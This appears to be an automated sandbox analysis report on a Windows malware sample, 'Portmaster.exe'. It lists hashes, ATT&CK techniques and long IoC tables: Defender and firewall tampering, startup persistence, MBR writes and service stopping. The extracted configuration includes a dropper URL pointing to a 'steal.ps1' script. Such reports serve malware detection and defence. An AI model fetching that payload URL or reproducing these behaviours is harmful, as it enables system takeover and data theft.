0acec441bd5e924c678d740919a076238ea9674e0a40876fc99f7ba814a8c9fe

Analysis

user interaction
yes
max time kernel
1800s
max time network
1122s
platform
windows10-2004_x64
resource
win10v2004-20260513-uk
resource tags

arch:x64arch:x86image:win10v2004-20260513-uklocale:uk-uaos:windows10-2004-x64systemwindows
submitted
25/05/2026, 15:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Portmaster.exe
Size 226KB
Sample260525-sq511act7l
SHA256 0acec441bd5e924c678d740919a076238ea9674e0a40876fc99f7ba814a8c9fe
MD5 dfa00a9673756016084c67c347d982d1
SHA1 e474417387df66a3635611b75b28443be117e6b6
SHA512 33f55aaf774c986c7bdae08841e80a3f0f26d6c41ee1e9d0ba120807fc20cc5f90295a00cdd8cc35b78622590bbd3529077cb40617e437f6fa7024638af070fb
SSDEEP 6144:zxnJ0x3dDeV15Kr3Qnka7To9z6i/4Ij8PLo:zErDm155Ezpj8PLo
TLSH
T190348D00B981C036D566583649B9DF765A2EBCB04F609ACBB3C40EFDCE346D09B39B56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion discovery execution lateral_movement persistence privilege_escalation

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://evil.xyz/steal.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Remote Service Session Hijacking: RDP Hijacking 1 TTPs 64 IoCs

Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

lateral_movement

RDP Hijacking

T1563.002

pid	Process
6016	net1.exe
3980	net1.exe
8776	net1.exe
8228	net.exe
1548	Process not Found
11072	Process not Found
2108	Process not Found
7592	net.exe
6120	net.exe
10324	Process not Found
11896	Process not Found
8604	Process not Found
11604	Process not Found
11304	Process not Found
6004	cmd.exe
5948	net1.exe
10136	Process not Found
4704	net.exe
9940	Process not Found
8852	Process not Found
1180	Process not Found
5308	Process not Found
8224	cmd.exe
10048	cmd.exe
10824	Process not Found
11952	Process not Found
9944	Process not Found
11700	Process not Found
1632	Process not Found
11752	Process not Found
9948	Process not Found
7624	net.exe
1504	cmd.exe
5544	net.exe
5708	net1.exe
12280	Process not Found
7780	cmd.exe
7240	net.exe
2940	cmd.exe
5672	Process not Found
10000	Process not Found
11904	Process not Found
12148	Process not Found
9736	Process not Found
8040	cmd.exe
10328	net.exe
9092	Process not Found
9396	Process not Found
11924	Process not Found
8604	Process not Found
10712	Process not Found
11588	Process not Found
9520	cmd.exe
692	Process not Found
8120	net1.exe
7584	Process not Found
9932	net.exe
8404	net1.exe
9624	Process not Found
9196	cmd.exe
7816	net1.exe
7008	cmd.exe
6064	Process not Found
7380	Process not Found

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 35 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5348	powershell.exe
7504	powershell.exe
3988	powershell.exe
6224	powershell.exe
5904	Process not Found
4028	powershell.exe
4600	powershell.exe
7776	powershell.exe
9976	Process not Found
7328	Process not Found
3228	powershell.exe
9224	powershell.exe
5204	powershell.exe
9728	powershell.exe
5704	Process not Found
7696	powershell.exe
7940	powershell.exe
3664	powershell.exe
3100	powershell.exe
7096	powershell.exe
7436	powershell.exe
8004	powershell.exe
9064	powershell.exe
8092	powershell.exe
7648	powershell.exe
7720	powershell.exe
10556	Process not Found
10740	Process not Found
6748	powershell.exe
7896	powershell.exe
2360	powershell.exe
9168	powershell.exe
9884	powershell.exe
10188	Process not Found
3500	Process not Found

Modifies Windows Firewall 2 TTPs 39 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
7520	netsh.exe
8060	netsh.exe
7244	netsh.exe
4848	netsh.exe
5568	netsh.exe
7500	netsh.exe
3420	netsh.exe
9004	netsh.exe
6148	netsh.exe
6944	netsh.exe
6260	netsh.exe
8448	netsh.exe
7640	netsh.exe
10452	Process not Found
1584	netsh.exe
3524	netsh.exe
1496	netsh.exe
10108	netsh.exe
1412	netsh.exe
11036	Process not Found
10396	Process not Found
10912	Process not Found
996	netsh.exe
7516	netsh.exe
10636	Process not Found
10432	Process not Found
6168	netsh.exe
7624	netsh.exe
7448	netsh.exe
9728	netsh.exe
10844	netsh.exe
11008	Process not Found
1276	netsh.exe
11120	netsh.exe
3988	netsh.exe
552	netsh.exe
9080	netsh.exe
8896	netsh.exe
3064	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 64 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Process not Found
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe	Portmaster.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 38 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3988	powershell.exe
8004	powershell.exe
4600	powershell.exe
5348	powershell.exe
9976	Process not Found
3664	powershell.exe
7436	powershell.exe
7940	powershell.exe
6224	powershell.exe
5204	powershell.exe
7776	powershell.exe
3500	Process not Found
3228	powershell.exe
9224	powershell.exe
5904	Process not Found
5704	Process not Found
8092	powershell.exe
3228	powershell.exe
7720	powershell.exe
7504	powershell.exe
7696	powershell.exe
2360	powershell.exe
10556	Process not Found
7328	Process not Found
9728	powershell.exe
3100	powershell.exe
7648	powershell.exe
7896	powershell.exe
9168	powershell.exe
5064	powershell.exe
6748	powershell.exe
9064	powershell.exe
10088	powershell.exe
10188	Process not Found
10740	Process not Found
9884	powershell.exe
4028	powershell.exe
7096	powershell.exe

Writes to the Master Boot Record (MBR) 1 TTPs 64 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Process not Found
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Process not Found
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Process not Found
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe
File opened for modification	\??\PhysicalDrive0	Portmaster.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\@щШ\winhost.exe	Portmaster.exe
File created	C:\Windows\SysWOW64\ащі\winhost.exe	Portmaster.exe
File created	C:\Windows\SysWOW64\хЇ\winhost.exe	Portmaster.exe
File created	C:\Windows\SysWOW64\PшЏ\winhost.exe	Portmaster.exe
File opened for modification	C:\Windows\SysWOW64\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\SysWOW64\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 56 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	Process not Found
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	Process not Found
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	Process not Found
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	Process not Found
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Launches sc.exe 54 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
9896	sc.exe
3496	sc.exe
8404	sc.exe
8392	sc.exe
10772	Process not Found
11436	Process not Found
8796	sc.exe
3120	sc.exe
5012	sc.exe
9192	sc.exe
1276	sc.exe
8688	sc.exe
8772	sc.exe
10832	sc.exe
8256	sc.exe
8148	sc.exe
1740	sc.exe
11040	sc.exe
11088	Process not Found
2804	Process not Found
10604	Process not Found
8148	Process not Found
5512	sc.exe
4120	sc.exe
8748	sc.exe
7404	sc.exe
7488	sc.exe
964	sc.exe
5804	sc.exe
5108	Process not Found
3652	sc.exe
4436	sc.exe
8392	sc.exe
8968	sc.exe
8728	sc.exe
9988	Process not Found
9044	Process not Found
12212	Process not Found
2900	sc.exe
7624	sc.exe
7732	sc.exe
8144	sc.exe
7900	sc.exe
2940	sc.exe
8296	sc.exe
7388	sc.exe
4944	sc.exe
9212	sc.exe
4716	sc.exe
10500	sc.exe
11136	Process not Found
3616	sc.exe
4260	sc.exe
3312	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
